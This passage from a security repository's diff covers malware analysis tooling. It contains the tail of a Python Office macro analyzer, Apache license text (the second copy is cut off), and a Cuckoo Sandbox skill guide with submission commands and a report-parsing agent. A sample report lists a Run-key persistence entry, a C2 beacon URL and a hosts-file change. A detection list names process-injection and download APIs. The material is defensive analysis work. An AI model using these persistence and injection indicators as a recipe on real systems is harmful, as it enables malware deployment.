dde_cmds = re.findall(r'DDEAUTO[^"]*"([^"]+)"', content)
findings.append({
"type": "DDE",
"file": name,
"commands": dde_cmds,
})
if "attachedTemplate" in content or "Target=" in content:
urls = re.findall(r'Target="(https?://[^"]+)"', content)
for url in urls:
findings.append({
"type": "Remote Template",
"file": name,
"url": url,
})
except (zipfile.BadZipFile, KeyError):
pass
return findings
def check_external_relationships(filepath):
"""Check OOXML relationships for external references."""
externals = []
try:
z = zipfile.ZipFile(filepath)
for name in z.namelist():
if ".rels" in name:
content = z.read(name).decode("utf-8", errors="ignore")
urls = re.findall(r'Target="(https?://[^"]+)"', content)
for url in urls:
externals.append({"file": name, "url": url})
except (zipfile.BadZipFile, KeyError):
pass
return externals
def generate_report(filepath, triage, macros, analysis, deobfuscated_urls, dde_findings):
"""Generate a comprehensive macro malware analysis report."""
report = {
"file": filepath,
"sha256": compute_hash(filepath),
"size": os.path.getsize(filepath),
"triage": triage,
"macro_count": len(macros),
"auto_exec_triggers": [e["keyword"] for e in analysis.get("auto_exec", [])],
"suspicious_functions": [e["keyword"] for e in analysis.get("suspicious", [])],
"iocs": [e["keyword"] for e in analysis.get("iocs", [])],
"extracted_urls": deobfuscated_urls,
"dde_findings": dde_findings,
}
return report
if __name__ == "__main__":
print("=" * 60)
print("Office Macro Malware Analysis Agent")
print("oletools-based VBA extraction and deobfuscation")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if target and os.path.exists(target):
print(f"\n[*] Analyzing: {target}")
print(f"[*] SHA-256: {compute_hash(target)}")
print("\n--- Document Triage (oleid) ---")
triage = triage_document(target)
for name, info in triage.items():
risk_tag = f" [{info['risk']}]" if info.get("risk") else ""
print(f" {name}: {info['value']}{risk_tag}")
print("\n--- VBA Macro Extraction ---")
macros = extract_vba_macros(target)
print(f" Macro streams found: {len(macros)}")
for m in macros:
print(f" - {m['vba_filename']} ({m['code_length']} chars)")
print("\n--- Suspicious Analysis ---")
analysis = analyze_vba_suspicious(target)
for trigger in analysis["auto_exec"]:
print(f" [!] Auto-exec: {trigger['keyword']}")
for sus in analysis["suspicious"]:
print(f" [!] Suspicious: {sus['keyword']} - {sus['description']}")
for ioc in analysis["iocs"]:
print(f" [IOC] {ioc['keyword']}")
print("\n--- Deobfuscation ---")
all_urls = []
for m in macros:
deobfuscated = full_deobfuscation(m["code"])
urls = extract_urls_from_code(deobfuscated)
all_urls.extend(urls)
for url in set(all_urls):
print(f" URL: {url}")
print("\n--- DDE / Remote Template Check ---")
dde = check_dde(target)
for d in dde:
print(f" [{d['type']}] {d.get('url', d.get('commands', ''))}")
report = generate_report(target, triage, macros, analysis, list(set(all_urls)), dde)
print(f"\n[*] Report: {json.dumps(report, indent=2, default=str)[:500]}...")
else:
print(f"\n[DEMO] Usage: python agent.py <document.docm|xlsm>")
print("[*] Provide an Office document for macro analysis.")

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,304 @@
---
name: analyzing-malware-behavior-with-cuckoo-sandbox
description: 'Detonate malware samples in Cuckoo Sandbox to observe runtime behavior
— process creation, file system and registry changes, network communications,
and API calls — and generate behavioral reports for classification and IOC extraction.
Use when a sample has passed static triage and needs dynamic/behavioral analysis,
when mapping a full infection chain, or when building YARA/behavioral signatures
from observed sandbox activity.
'
domain: cybersecurity
subdomain: malware-analysis
tags:
- malware
- dynamic-analysis
- sandbox
- Cuckoo
- behavioral-analysis
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1497
- T1055
- T1071
- T1027
---
# Analyzing Malware Behavior with Cuckoo Sandbox
## When to Use
- A suspicious sample passed static analysis triage and requires behavioral observation in a controlled environment
- You need to capture network traffic, file drops, registry modifications, and API calls from a malware execution
- Determining the full infection chain including second-stage payload downloads and persistence mechanisms
- Generating behavioral signatures and YARA rules based on observed runtime activity
- Automated analysis of bulk malware samples requiring consistent reporting
**Do not use** when the sample is a known ransomware variant that may spread via network shares in a misconfigured sandbox; verify network isolation first.
## Prerequisites
- Cuckoo Sandbox 3.x installed on a dedicated analysis server (Ubuntu 22.04 recommended)
- Guest VMs configured with Windows 10/11 snapshots (Cuckoo agent installed, snapshots taken at clean state)
- VirtualBox, KVM, or VMware configured as the Cuckoo virtualization backend
- Isolated network with InetSim or FakeNet-NG for simulating internet services
- Suricata or Snort integrated for network-level signature matching during analysis
- Sufficient disk space for PCAP captures and memory dumps (minimum 500 GB recommended)
## Workflow
### Step 1: Submit Sample to Cuckoo
Submit the malware sample for automated analysis:
```bash
# Submit via command line
cuckoo submit /path/to/suspect.exe
# Submit with specific analysis timeout (300 seconds)
cuckoo submit --timeout 300 /path/to/suspect.exe
# Submit with specific VM and analysis package
cuckoo submit --machine win10_x64 --package exe --timeout 300 /path/to/suspect.exe
# Submit via REST API
curl -F "file=@suspect.exe" -F "timeout=300" -F "machine=win10_x64" \
http://localhost:8090/tasks/create/file
# Submit URL for analysis
curl -F "url=http://malicious-site.com/payload" -F "timeout=300" \
http://localhost:8090/tasks/create/url
# Check task status
curl http://localhost:8090/tasks/view/1 | jq '.task.status'
```
### Step 2: Monitor Execution in Real-Time
Track the analysis progress and observe live behavior:
```bash
# Watch Cuckoo analysis log
tail -f /opt/cuckoo/log/cuckoo.log
# Monitor analysis task status
cuckoo status
# Access Cuckoo web interface for live screenshots and process tree
# Navigate to http://localhost:8080/analysis/<task_id>/
```
Key behavioral events to watch during execution:
- Process creation chain (parent-child relationships)
- Network connection attempts to external IPs
- File drops in temporary directories or system folders
- Registry modifications to Run keys or service entries
- API calls related to encryption (CryptEncrypt), injection (WriteProcessMemory), or evasion
### Step 3: Analyze Process Activity
Review the process tree and API call trace from the Cuckoo report:
```python
# Parse Cuckoo JSON report programmatically
import json
with open("/opt/cuckoo/storage/analyses/1/reports/report.json") as f:
report = json.load(f)
# Process tree analysis
for process in report["behavior"]["processes"]:
pid = process["pid"]
ppid = process["ppid"]
name = process["process_name"]
print(f"PID: {pid} PPID: {ppid} Name: {name}")
# Extract suspicious API calls
for call in process["calls"]:
api = call["api"]
if api in ["CreateRemoteThread", "VirtualAllocEx", "WriteProcessMemory",
"NtCreateThreadEx", "RegSetValueExA", "URLDownloadToFileA"]:
args = {arg["name"]: arg["value"] for arg in call["arguments"]}
print(f" [!] {api}({args})")
```
### Step 4: Review Network Activity
Examine network connections, DNS queries, and HTTP requests:
```python
# Network analysis from Cuckoo report
network = report["network"]
# DNS resolutions
print("DNS Queries:")
for dns in network.get("dns", []):
print(f" {dns['request']} -> {dns.get('answers', [])}")
# HTTP requests
print("\nHTTP Requests:")
for http in network.get("http", []):
print(f" {http['method']} {http['uri']} (Host: {http['host']})")
if http.get("body"):
print(f" Body: {http['body'][:200]}")
# TCP connections
print("\nTCP Connections:")
for tcp in network.get("tcp", []):
print(f" {tcp['src']}:{tcp['sport']} -> {tcp['dst']}:{tcp['dport']}")
# Extract PCAP for deeper Wireshark analysis
# PCAP location: /opt/cuckoo/storage/analyses/1/dump.pcap
```
### Step 5: Examine File System and Registry Changes
Document persistence mechanisms and dropped files:
```python
# File operations
print("Files Created/Modified:")
for f in report["behavior"].get("summary", {}).get("files", []):
print(f" {f}")
# Dropped files with hashes
print("\nDropped Files:")
for dropped in report.get("dropped", []):
print(f" Path: {dropped['filepath']}")
print(f" SHA-256: {dropped['sha256']}")
print(f" Size: {dropped['size']} bytes")
print(f" Type: {dropped['type']}")
# Registry modifications
print("\nRegistry Keys Modified:")
for key in report["behavior"].get("summary", {}).get("keys", []):
print(f" {key}")
```
### Step 6: Review Signatures and Scoring
Check Cuckoo's behavioral signatures and threat scoring:
```python
# Behavioral signatures triggered
print("Triggered Signatures:")
for sig in report.get("signatures", []):
severity = sig["severity"]
name = sig["name"]
description = sig["description"]
marker = "[!]" if severity >= 3 else "[*]"
print(f" {marker} [{severity}/5] {name}: {description}")
for mark in sig.get("marks", []):
if mark.get("call"):
print(f" API: {mark['call']['api']}")
if mark.get("ioc"):
print(f" IOC: {mark['ioc']}")
# Overall score
score = report.get("info", {}).get("score", 0)
print(f"\nOverall Threat Score: {score}/10")
```
### Step 7: Extract Memory Dump Artifacts
Analyze the full memory dump captured during execution:
```bash
# Memory dump is saved at:
# /opt/cuckoo/storage/analyses/1/memory.dmp
# Use Volatility to analyze the memory dump
vol3 -f /opt/cuckoo/storage/analyses/1/memory.dmp windows.pslist
vol3 -f /opt/cuckoo/storage/analyses/1/memory.dmp windows.malfind
vol3 -f /opt/cuckoo/storage/analyses/1/memory.dmp windows.netscan
```
## Key Concepts
| Term | Definition |
|------|------------|
| **Dynamic Analysis** | Executing malware in a controlled environment to observe runtime behavior including system calls, network activity, and file operations |
| **Sandbox Evasion** | Techniques malware uses to detect virtual/sandbox environments and alter behavior to avoid analysis (sleep timers, VM checks, user interaction checks) |
| **API Hooking** | Cuckoo's method of intercepting Windows API calls made by the malware to log function names, parameters, and return values |
| **InetSim** | Internet services simulation tool that responds to malware network requests (HTTP, DNS, SMTP) within the isolated analysis network |
| **Process Injection** | Malware technique of injecting code into legitimate processes; detected by monitoring VirtualAllocEx and WriteProcessMemory API sequences |
| **Behavioral Signature** | Rule-based detection matching specific sequences of API calls, file operations, or network activity to known malware behaviors |
| **Analysis Package** | Cuckoo module defining how to execute a specific file type (exe, dll, pdf, doc) within the guest VM for proper behavioral capture |
## Tools & Systems
- **Cuckoo Sandbox**: Open-source automated malware analysis system providing behavioral reports, network captures, and memory dumps
- **InetSim**: Internet services simulation suite providing fake HTTP, DNS, SMTP, and other services for isolated malware analysis networks
- **FakeNet-NG**: FLARE team's network simulation tool that intercepts and redirects all network traffic for analysis
- **Suricata**: Network IDS/IPS integrated with Cuckoo for real-time signature-based detection of malicious network traffic
- **Volatility**: Memory forensics framework used to analyze memory dumps captured during Cuckoo analysis
## Common Scenarios
### Scenario: Analyzing a Multi-Stage Dropper
**Context**: Static analysis reveals a packed executable with minimal imports and high entropy. The sample needs sandbox execution to observe unpacking, payload delivery, and C2 establishment.
**Approach**:
1. Submit sample to Cuckoo with extended timeout (600 seconds) to capture slow-acting behavior
2. Review process tree for child process creation (dropper spawning payload processes)
3. Identify dropped files in %TEMP%, %APPDATA%, or system directories
4. Extract dropped files and compute hashes for separate analysis
5. Map network connections to identify C2 infrastructure contacted after initial execution
6. Check for persistence mechanisms (Run keys, scheduled tasks, services) in registry modifications
7. Compare behavioral signatures against known malware families
**Pitfalls**:
- Using insufficient analysis timeout causing the sandbox to terminate before second-stage payload executes
- Not configuring InetSim to respond to DNS and HTTP requests, preventing the malware from progressing past C2 check-in
- Ignoring sandbox evasion detections; if the sample exits immediately, it may be detecting the virtual environment
- Not analyzing dropped files separately; the initial dropper may be less interesting than the final payload
## Output Format
```
DYNAMIC ANALYSIS REPORT - CUCKOO SANDBOX
==========================================
Task ID: 1547
Sample: suspect.exe (SHA-256: e3b0c44298fc1c149afbf4c8996fb924...)
Analysis Time: 300 seconds
VM: win10_x64 (Windows 10 21H2)
Score: 8.5/10
PROCESS TREE
suspect.exe (PID: 2184)
└── cmd.exe (PID: 3456)
└── powershell.exe (PID: 4012)
└── svchost_fake.exe (PID: 4568)
FILE SYSTEM ACTIVITY
[CREATED] C:\Users\Admin\AppData\Local\Temp\payload.dll
[CREATED] C:\Windows\System32\svchost_fake.exe
[MODIFIED] C:\Windows\System32\drivers\etc\hosts
REGISTRY MODIFICATIONS
[SET] HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\Windows\System32\svchost_fake.exe"
[SET] HKLM\SYSTEM\CurrentControlSet\Services\FakeService\ImagePath = "C:\Windows\System32\svchost_fake.exe"
NETWORK ACTIVITY
DNS: update.malicious[.]com -> 185.220.101.42
HTTP: POST hxxps://185.220.101[.]42/gate.php (beacon)
TCP: 10.0.2.15:49152 -> 185.220.101.42:443 (237 connections)
BEHAVIORAL SIGNATURES
[!] [4/5] injection_createremotethread: Injects code into remote process
[!] [4/5] persistence_autorun: Modifies Run registry key for persistence
[!] [3/5] network_cnc_http: Performs HTTP C2 communication
[*] [2/5] antiav_detectfile: Checks for antivirus product files
DROPPED FILES
payload.dll SHA-256: abc123... Size: 98304 Type: PE32 DLL
svchost_fake.exe SHA-256: def456... Size: 184320 Type: PE32 EXE
```

View File

@@ -0,0 +1,121 @@
# API Reference: Cuckoo Sandbox
## Cuckoo CLI
### Sample Submission
```bash
cuckoo submit /path/to/sample.exe
cuckoo submit --timeout 300 /path/to/sample.exe
cuckoo submit --machine win10_x64 --package exe sample.exe
cuckoo submit --url "http://malicious-url.com"
```
### Status
```bash
cuckoo status
tail -f /opt/cuckoo/log/cuckoo.log
```
## Cuckoo REST API
### Submit File
```bash
curl -F "file=@sample.exe" -F "timeout=300" \
http://localhost:8090/tasks/create/file
```
Response: `{"task_id": 1}`
### Submit URL
```bash
curl -F "url=http://malicious.com" -F "timeout=300" \
http://localhost:8090/tasks/create/url
```
### Check Task Status
```bash
curl http://localhost:8090/tasks/view/<task_id>
```
Status values: `pending`, `running`, `completed`, `reported`
### Get Report
```bash
curl http://localhost:8090/tasks/report/<task_id>
curl http://localhost:8090/tasks/report/<task_id>/json
```
### List Tasks
```bash
curl http://localhost:8090/tasks/list
curl http://localhost:8090/tasks/list?limit=50&offset=0
```
## Report JSON Structure
### Key Paths
| Path | Content |
|------|---------|
| `info.score` | Threat score (0-10) |
| `info.duration` | Analysis duration (seconds) |
| `behavior.processes` | Process tree with API calls |
| `behavior.summary.files` | Created/modified files |
| `behavior.summary.keys` | Modified registry keys |
| `network.dns` | DNS resolutions |
| `network.http` | HTTP requests |
| `network.tcp` | TCP connections |
| `dropped` | Dropped files with hashes |
| `signatures` | Triggered behavioral signatures |
### Signature Severity Levels
| Level | Meaning |
|-------|---------|
| 1 | Informational |
| 2 | Low |
| 3 | Medium |
| 4 | High |
| 5 | Critical |
## Analysis Packages
| Package | File Type |
|---------|-----------|
| `exe` | Windows executables |
| `dll` | DLL files (uses rundll32) |
| `doc` | Word documents |
| `xls` | Excel spreadsheets |
| `pdf` | PDF documents |
| `js` | JavaScript files |
| `vbs` | VBScript files |
| `ps1` | PowerShell scripts |
| `zip` | Archives (auto-extracted) |
## InetSim - Network Simulation
### Syntax
```bash
inetsim --bind-address 192.168.56.1
inetsim --report-dir /var/log/inetsim
```
### Simulated Services
- HTTP/HTTPS (ports 80, 443)
- DNS (port 53)
- SMTP (port 25)
- FTP (port 21)
- IRC (port 6667)
## FakeNet-NG - Network Redirection
### Syntax
```bash
fakenet
fakenet -c custom_config.ini
```
## Volatility Integration
### Syntax
```bash
vol3 -f /opt/cuckoo/storage/analyses/<id>/memory.dmp windows.pslist
vol3 -f /opt/cuckoo/storage/analyses/<id>/memory.dmp windows.malfind
vol3 -f /opt/cuckoo/storage/analyses/<id>/memory.dmp windows.netscan
```

View File

@@ -0,0 +1,253 @@
#!/usr/bin/env python3
"""Cuckoo Sandbox behavioral analysis agent for automated malware detonation and reporting."""
import json
import os
import sys
import hashlib
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
CUCKOO_API = os.environ.get("CUCKOO_API", "http://localhost:8090")
CUCKOO_STORAGE = os.environ.get("CUCKOO_STORAGE", "/opt/cuckoo/storage/analyses")
def submit_file(filepath, timeout=300, machine=None, package=None):
"""Submit a malware sample to Cuckoo via REST API."""
if not HAS_REQUESTS:
return None
url = f"{CUCKOO_API}/tasks/create/file"
files = {"file": (os.path.basename(filepath), open(filepath, "rb"))}
data = {"timeout": timeout}
if machine:
data["machine"] = machine
if package:
data["package"] = package
resp = requests.post(url, files=files, data=data, timeout=30)
if resp.status_code == 200:
return resp.json().get("task_id")
return None
def submit_url(url_to_analyze, timeout=300):
"""Submit a URL to Cuckoo for analysis."""
if not HAS_REQUESTS:
return None
url = f"{CUCKOO_API}/tasks/create/url"
data = {"url": url_to_analyze, "timeout": timeout}
resp = requests.post(url, data=data, timeout=30)
if resp.status_code == 200:
return resp.json().get("task_id")
return None
def get_task_status(task_id):
"""Check the status of a Cuckoo analysis task."""
if not HAS_REQUESTS:
return None
url = f"{CUCKOO_API}/tasks/view/{task_id}"
resp = requests.get(url, timeout=30)
if resp.status_code == 200:
return resp.json().get("task", {}).get("status")
return None
def load_report(task_id, report_dir=None):
"""Load a Cuckoo JSON report from disk."""
if report_dir is None:
report_dir = CUCKOO_STORAGE
report_path = os.path.join(report_dir, str(task_id), "reports", "report.json")
if os.path.exists(report_path):
with open(report_path, "r") as f:
return json.load(f)
return None
def analyze_processes(report):
"""Extract and analyze the process tree from the Cuckoo report."""
processes = []
for proc in report.get("behavior", {}).get("processes", []):
pid = proc.get("pid")
ppid = proc.get("ppid")
name = proc.get("process_name")
suspicious_apis = []
dangerous_apis = [
"CreateRemoteThread", "VirtualAllocEx", "WriteProcessMemory",
"NtCreateThreadEx", "RegSetValueExA", "URLDownloadToFileA",
"ShellExecuteA", "ShellExecuteW", "WinExec", "CreateProcessA",
"NtWriteVirtualMemory", "QueueUserAPC",
]
for call in proc.get("calls", []):
if call.get("api") in dangerous_apis:
args = {arg["name"]: arg["value"] for arg in call.get("arguments", [])}
suspicious_apis.append({"api": call["api"], "args": args})
processes.append({
"pid": pid,
"ppid": ppid,
"name": name,
"suspicious_api_calls": len(suspicious_apis),
"top_suspicious": suspicious_apis[:10],
})
return processes
def analyze_network(report):
"""Extract network activity from the Cuckoo report."""
network = report.get("network", {})
return {
"dns": [
{"request": d.get("request"), "answers": d.get("answers", [])}
for d in network.get("dns", [])
],
"http": [
{"method": h.get("method"), "host": h.get("host"),
"uri": h.get("uri"), "body_size": len(h.get("body", ""))}
for h in network.get("http", [])
],
"tcp_connections": [
{"src": t.get("src"), "sport": t.get("sport"),
"dst": t.get("dst"), "dport": t.get("dport")}
for t in network.get("tcp", [])
],
"udp_connections": [
{"src": u.get("src"), "sport": u.get("sport"),
"dst": u.get("dst"), "dport": u.get("dport")}
for u in network.get("udp", [])
],
}
def analyze_dropped_files(report):
"""Extract dropped file information from the report."""
dropped = []
for d in report.get("dropped", []):
dropped.append({
"filepath": d.get("filepath", ""),
"sha256": d.get("sha256", ""),
"size": d.get("size", 0),
"type": d.get("type", ""),
})
return dropped
def analyze_signatures(report):
"""Extract triggered behavioral signatures."""
signatures = []
for sig in report.get("signatures", []):
marks = []
for mark in sig.get("marks", []):
if mark.get("ioc"):
marks.append(mark["ioc"])
elif mark.get("call"):
marks.append(mark["call"].get("api", ""))
signatures.append({
"name": sig.get("name"),
"severity": sig.get("severity"),
"description": sig.get("description"),
"marks": marks[:5],
})
return sorted(signatures, key=lambda x: x.get("severity", 0), reverse=True)
def analyze_registry(report):
"""Extract registry modifications from behavior summary."""
summary = report.get("behavior", {}).get("summary", {})
return {
"keys_modified": summary.get("keys", [])[:20],
"files_created": summary.get("files", [])[:20],
"mutexes": summary.get("mutexes", [])[:10],
}
def generate_summary(report, processes, network, dropped, signatures, registry):
"""Generate a consolidated analysis summary."""
info = report.get("info", {})
score = info.get("score", 0)
return {
"task_id": info.get("id"),
"sample": info.get("category", "file"),
"analysis_time": info.get("duration", 0),
"machine": info.get("machine", {}).get("name", ""),
"threat_score": score,
"process_count": len(processes),
"suspicious_api_total": sum(p["suspicious_api_calls"] for p in processes),
"dns_queries": len(network["dns"]),
"http_requests": len(network["http"]),
"tcp_connections": len(network["tcp_connections"]),
"dropped_files": len(dropped),
"signatures_triggered": len(signatures),
"high_severity_sigs": len([s for s in signatures if s["severity"] >= 3]),
"registry_keys_modified": len(registry["keys_modified"]),
"files_created": len(registry["files_created"]),
}
if __name__ == "__main__":
print("=" * 60)
print("Cuckoo Sandbox Behavioral Analysis Agent")
print("Automated malware detonation and report parsing")
print("=" * 60)
if len(sys.argv) > 1:
arg = sys.argv[1]
# Check if argument is a report JSON path
if arg.endswith(".json") and os.path.exists(arg):
print(f"\n[*] Loading report: {arg}")
with open(arg, "r") as f:
report = json.load(f)
elif arg.isdigit():
print(f"\n[*] Loading report for task ID: {arg}")
report = load_report(int(arg))
elif os.path.exists(arg):
print(f"\n[*] Submitting sample: {arg}")
sha256 = hashlib.sha256(open(arg, "rb").read()).hexdigest()
print(f"[*] SHA-256: {sha256}")
task_id = submit_file(arg)
if task_id:
print(f"[*] Task submitted: ID={task_id}")
print(f"[*] Monitor at: {CUCKOO_API.replace('8090', '8080')}/analysis/{task_id}/")
else:
print("[ERROR] Failed to submit. Check Cuckoo API connection.")
sys.exit(0)
else:
report = None
if report:
processes = analyze_processes(report)
network = analyze_network(report)
dropped = analyze_dropped_files(report)
signatures = analyze_signatures(report)
registry = analyze_registry(report)
summary = generate_summary(report, processes, network, dropped, signatures, registry)
print(f"\n--- Analysis Summary ---")
print(f" Score: {summary['threat_score']}/10")
print(f" Processes: {summary['process_count']}")
print(f" Suspicious APIs: {summary['suspicious_api_total']}")
print(f" Signatures: {summary['signatures_triggered']} "
f"({summary['high_severity_sigs']} high severity)")
print(f"\n--- Network ---")
print(f" DNS: {summary['dns_queries']}, HTTP: {summary['http_requests']}, "
f"TCP: {summary['tcp_connections']}")
for http in network["http"][:5]:
print(f" {http['method']} {http['host']}{http['uri']}")
print(f"\n--- Dropped Files ---")
for d in dropped[:5]:
print(f" {d['filepath']} ({d['size']} bytes)")
print(f"\n--- Top Signatures ---")
for s in signatures[:5]:
print(f" [{s['severity']}/5] {s['name']}: {s['description']}")
else:
print(f"\n[DEMO] Usage:")
print(f" python agent.py <sample.exe> # Submit to Cuckoo")
print(f" python agent.py <task_id> # Parse existing report")
print(f" python agent.py <report.json> # Parse JSON report file")

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
